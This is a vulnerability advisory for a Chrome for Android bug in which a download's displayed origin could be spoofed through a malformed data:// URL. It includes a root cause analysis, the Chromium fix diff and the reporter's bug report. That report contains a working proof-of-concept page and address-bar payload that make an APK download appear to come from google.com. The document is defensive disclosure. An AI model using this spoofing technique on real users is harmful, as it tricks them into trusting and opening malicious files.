CVE-2025-12908
Overview
Background
- `DownloadUtils.formatUrlForDisplayInNotification`
- an Android helper that turns a download’s source URL into a short string for Download Home captions, the download-complete message and download notifications, subject to a character
limit. - `UrlFormatter.formatUrlForSecurityDisplay`
- formats a URL for display in a security-relevant UI, here with
SchemeDisplay.OMIT_HTTP_AND_HTTPS. - eTLD+1 (`UrlUtilities.getDomainAndRegistry`)
- the registrable domain (for example
example.com), used as a shorter fallback; it is only meaningful for URLs that have a host. - Hostless URLs
- URLs whose scheme or origin has no host part, so trying to extract a registrable domain from their spec does not identify a real site.
Root Cause Analysis
formatUrlForDisplayInNotification returned the security-formatted URL whenever its length was within limit, including when it was empty. Otherwise it fell back to UrlUtilities.getDomainAndRegistry(url.getSpec(), false) without checking that the URL had a host. As the commit explains, that fallback is wrong for URLs without a host (some schemes): eTLD+1 parsing of the full spec can produce a string that does not represent the download’s real source, so the download UI showed a misleading origin. The broken rule is that a shortened origin must never claim more than the actual origin supports.
The fix requires a non-empty formatted URL before returning it. It then derives origin = url.getOrigin(), calls getDomainAndRegistry(origin.getSpec(), true) only when the origin is valid and origin.getHost() is non-empty (otherwise it uses origin.getPossiblyInvalidSpec()), and returns null if that fallback is empty or over limit. Callers in DownloadMessageUiControllerImpl and UiUtils now omit the origin text on null/empty instead of inserting a bad value. This tightens the validation.
Attack Path
- Attacker triggers a download A malicious page starts a download on Chrome for Android whose URL has no host (the commit says “certain URL schemes”; which schemes is not shown) and whose formatted form is longer than the display limit.
- Fallback chosen
formatUrlForSecurityDisplayreturns a string longer thanMAX_ORIGIN_LENGTH_FOR_NOTIFICATIONorMAX_ORIGIN_LENGTH_FOR_DOWNLOAD_HOME_CAPTION, so the old code took the eTLD+1 fallback onurl.getSpec(). - Misleading origin rendered The “domain” parsed from the hostless spec is shown in the download-complete message, the Download Home list caption or the notification as if it were the file’s source.
- User trusts spoofed source (inferred)
The user may believe the file came from a trusted site and open it
(inferred).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/home/list/UiUtils.java |
modified |
Files Changed
chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/DownloadMessageUiControllerImpl.javachrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/home/list/UiUtils.javacomponents/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
Audit Directions
- eTLD+1 on hostless or opaque URLsSearch for
getDomainAndRegistry(Java and C++) called ongetSpec()or untrusted URLs without first checking for a host or a non-opaque origin, especially in permission prompts, notifications and download UI. - Length-based fallbacks in security UIReview code that swaps in a “shortened” origin when the full one is too long. Make sure the shortened form is derived from the real origin and fails closed (omit it, or elide safely) rather than inventing a plausible-looking domain.
- Null/empty origin propagationCheck callers of URL-display helpers for format strings that will print
null, empty strings or attacker-controlled fallbacks into trusted browser UI.
Patch
From 81de6a2b6cee7bce14a1586def1d782d9c16e618 Mon Sep 17 00:00:00 2001
From: Lily Chen <chlily@chromium.org>
Date: Mon, 07 Jul 2025 13:16:21 -0700
Subject: [PATCH] Android downloads UI: Only parse URL for eTLD+1 if it has a host
This CL fixes a helper function used in downloads UI on Android, which
formats a URL for display in the Download Home list, download completion
message, and download notification. Previously, the function would fall
back to an eTLD+1 from getDomainAndRegistry() if the formatted URL was
too long for the display surface. This is subtly incorrect for URLs
without a host (e.g. certain URL schemes), and can result in misleading
UI strings displayed to the user.
In this CL, we add a check that the origin has a host, and we omit the
URL/domain from the UI display if we cannot get a suitable formatted
URL/eTLD+1.
Screenshots:
https://drive.google.com/drive/folders/1M7lElUPRMstiM_zfgzsYVU8x0PQQMdD-
Bug: 421511847
Change-Id: Id4e48441d30427a6d73ab74f69caf6a778c49a99
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6701188
Reviewed-by: Theresa Sullivan <twellington@chromium.org>
Commit-Queue: Lily Chen <chlily@chromium.org>
Reviewed-by: Xinghui Lu <xinghuilu@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1483331}
---
diff --git a/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/DownloadMessageUiControllerImpl.java b/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/DownloadMessageUiControllerImpl.java
index a25366f..d76ac4b2 100644
--- a/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/DownloadMessageUiControllerImpl.java
+++ b/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/DownloadMessageUiControllerImpl.java
@@ -797,6 +797,7 @@
String bytesString =
org.chromium.components.browser_ui.util.DownloadUtils.getStringForBytes(
getContext(), itemToShow.totalSizeBytes);
+ // Try to display the download domain/origin if possible. Otherwise, omit it.
String displayUrl =
DownloadUtils.formatUrlForDisplayInNotification(
itemToShow.url, DownloadUtils.MAX_ORIGIN_LENGTH_FOR_NOTIFICATION);
@@ -805,7 +806,7 @@
.getString(
R.string.download_message_download_complete_description,
bytesString,
- displayUrl);
+ displayUrl != null ? displayUrl : "");
info.id = itemToShow.id;
info.link = getContext().getString(R.string.open_downloaded_label);
info.icon = R.drawable.infobar_download_complete_animation;
diff --git a/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/home/list/UiUtils.java b/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/home/list/UiUtils.java
index ab1513d9..76c3a605 100644
--- a/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/home/list/UiUtils.java
+++ b/chrome/browser/download/internal/android/java/src/org/chromium/chrome/browser/download/home/list/UiUtils.java
@@ -8,6 +8,7 @@
import android.content.Context;
import android.content.res.Resources;
+import android.text.TextUtils;
import android.text.format.DateUtils;
import android.text.format.Formatter;
@@ -147,15 +148,20 @@
String displayUrl =
DownloadUtils.formatUrlForDisplayInNotification(
item.url, DownloadUtils.MAX_ORIGIN_LENGTH_FOR_DOWNLOAD_HOME_CAPTION);
+ boolean hasDisplayUrl = !TextUtils.isEmpty(displayUrl);
if (item.totalSizeBytes == 0) {
- return context.getString(
- R.string.download_manager_list_item_description_no_size, displayUrl);
+ return hasDisplayUrl
+ ? context.getString(
+ R.string.download_manager_list_item_description_no_size, displayUrl)
+ : "";
}
String displaySize = Formatter.formatFileSize(context, item.totalSizeBytes);
- return context.getString(
- R.string.download_manager_list_item_description, displaySize, displayUrl);
+ return hasDisplayUrl
+ ? context.getString(
+ R.string.download_manager_list_item_description, displaySize, displayUrl)
+ : displaySize;
}
/**
diff --git a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
index adce708..5224900 100644
--- a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
+++ b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
@@ -137,7 +137,7 @@
*
* @param url The full URL.
* @param limit Character limit.
- * @return The text to display, or null if the input was invalid.
+ * @return The text to display, or null if the input was invalid or cannot be shortened enough.
*/
public static @Nullable String formatUrlForDisplayInNotification(
@Nullable GURL url, int limit) {
@@ -145,11 +145,23 @@
String formattedUrl =
UrlFormatter.formatUrlForSecurityDisplay(url, SchemeDisplay.OMIT_HTTP_AND_HTTPS);
- if (formattedUrl.length() <= limit) return formattedUrl;
+ if (!TextUtils.isEmpty(formattedUrl) && formattedUrl.length() <= limit) {
+ return formattedUrl;
+ }
- // The origin is too long. Strip down to eTLD+1.
- return UrlUtilities.getDomainAndRegistry(
- url.getSpec(), /* includePrivateRegistries= */ false);
+ // The formatted URL is unsuitable. One possible fallback is eTLD+1, but we should be
+ // careful to only parse for eTLD+1 if the origin has a host portion (some URL schemes
+ // don't).
+ GURL origin = url.getOrigin();
+ String fallback =
+ !GURL.isEmptyOrInvalid(origin) && !origin.getHost().isEmpty()
+ ? UrlUtilities.getDomainAndRegistry(
+ origin.getSpec(), /* includePrivateRegistries= */ true)
+ : origin.getPossiblyInvalidSpec();
+ if (!TextUtils.isEmpty(fallback) && fallback.length() <= limit) {
+ return fallback;
+ }
+ return null;
}
/**
Original Bug Report
Download origin spoofing using malformed data url.
Steps to reproduce the problem
- Enter this payload in the address bar on android chrome:
data://google.com/html,somereallyreallylongtextattheaddressbarand press enter, you will notice a download begins with origin in the notification as google.com, same origin is displayed in chrome://downloads menu too.
Full potential exploitation of this vulnerability: Download an apk from google.com as spoofed origin: Live POC: https://gojo-satorou-v7.github.io/chigorin/
Host below code:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Download & Fullscreen on Keypress</title>
</head>
<body>
<center><h2>POC by Chigorin!</h2></center>
<script>
// Listen to any keydown
window.addEventListener('keydown', function(e) {
// open the download
openWin();
// request fullscreen
//goFullScreen();
});
// Download helper
function Puf(uri, name) {
const link = document.createElement("a");
link.href = uri;
link.download = name;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
// Kick off your “APK” download
function openWin() {
Puf(
"data://google.com/application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=",
"google.apk"
);
}
</script>
</body>
</html>
Press space [since I am on emulator] Notice an apk will be downloaded from google.com
Problem Description
Root cause analysis:
Let’s go step by step:
- Why is the above payload triggering a download?
Because of this code.
bool is_download;
bool must_download =
download_utils::MustDownload(url_, head.headers.get(), head.mime_type);
bool known_mime_type = blink::IsSupportedMimeType(head.mime_type);
#if BUILDFLAG(ENABLE_PLUGINS)
if (!head.intercepted_by_plugin && !must_download && !known_mime_type) {
// No plugin throttles intercepted the response. Ask if the plugin
// registered to PluginService wants to handle the request.
CheckPluginAndContinueOnReceiveResponse(
head, std::move(url_loader_client_endpoints),
true /* is_download_if_not_handled_by_plugin */,
std::vector<WebPluginInfo>());
return;
}
The format of a data uri is as follows: data:[<mime-type>][;base64],<data> and according to above code if the mime type is unknown it will trigger a download.
-
Chromium’s GURL sees the scheme data and, because of the //, treats google.com as a host. Then url.GetContent() returns the substring after the scheme (which in this case includes the path /html,sometext). DataURL::Parse() splits at the first comma: the part before the comma is interpreted as “media type” metadata, and the part after as the raw data. In our example:
Content before comma = “google.com/html” (misinterpreted as MIME/media type)
Content after comma = “sometext” (the actual payload)
Because “google.com/html” is not a valid MIME type, the parser falls back to defaults.
So now we know why the malformed data url is causing a download, next I will show you why is the download notification taking google.com as origin (seems obvious now, GURL is the culprit!)
- How does the download notification handling the data uri?
In the in-app download notification (via DownloadMessageUiControllerImpl), the code calls DownloadUtils.formatUrlForDisplayInNotification with the download’s URL. That method (in components/browser_ui/util/android/DownloadUtils.java) does:
if (GURL.isEmptyOrInvalid(url)) return null;
String formattedUrl = UrlFormatter.formatUrlForSecurityDisplay(
url, UrlFormatter.SchemeDisplay.OMIT_HTTP_AND_HTTPS);
if (formattedUrl.length() <= MAX_ORIGIN_LENGTH) return formattedUrl;
// Too long – strip to eTLD+1
return UrlUtilities.getDomainAndRegistry(url.getSpec(), false);
For a malformed data URL like data://google.com/html,sometext, UrlFormatter.formatUrlForSecurityDisplay(url) will include the scheme and full URL by default (since the scheme is “data”, not HTTP/HTTPS, it is not omitted). The string “data://google.com/html,sometext” exceeds the MAX_ORIGIN_LENGTH (25 chars), so the code falls back to UrlUtilities.getDomainAndRegistry(url.getSpec()), which extracts the effective top-level domain+1 from the full URL string. In this case it returns “google.com”. That string is then shown as the “origin” in the notification.
Additional Comments
Oldest version in which this POC works: 130.0.5723.40 Stable works till current latest version of 136.0.7103.127
Please note: I was only able to get the above version apk of chrome from a third party website, although I am highly confident that the vulnerability started existing after the release of 130.x.x.x Oldest version in which this vulnerability doesn’t work: 129.x.x.x
Summary
Download origin spoofing using malformed data url.
Additional Data
Category: Security
Chrome Channel: Stable
Regression: No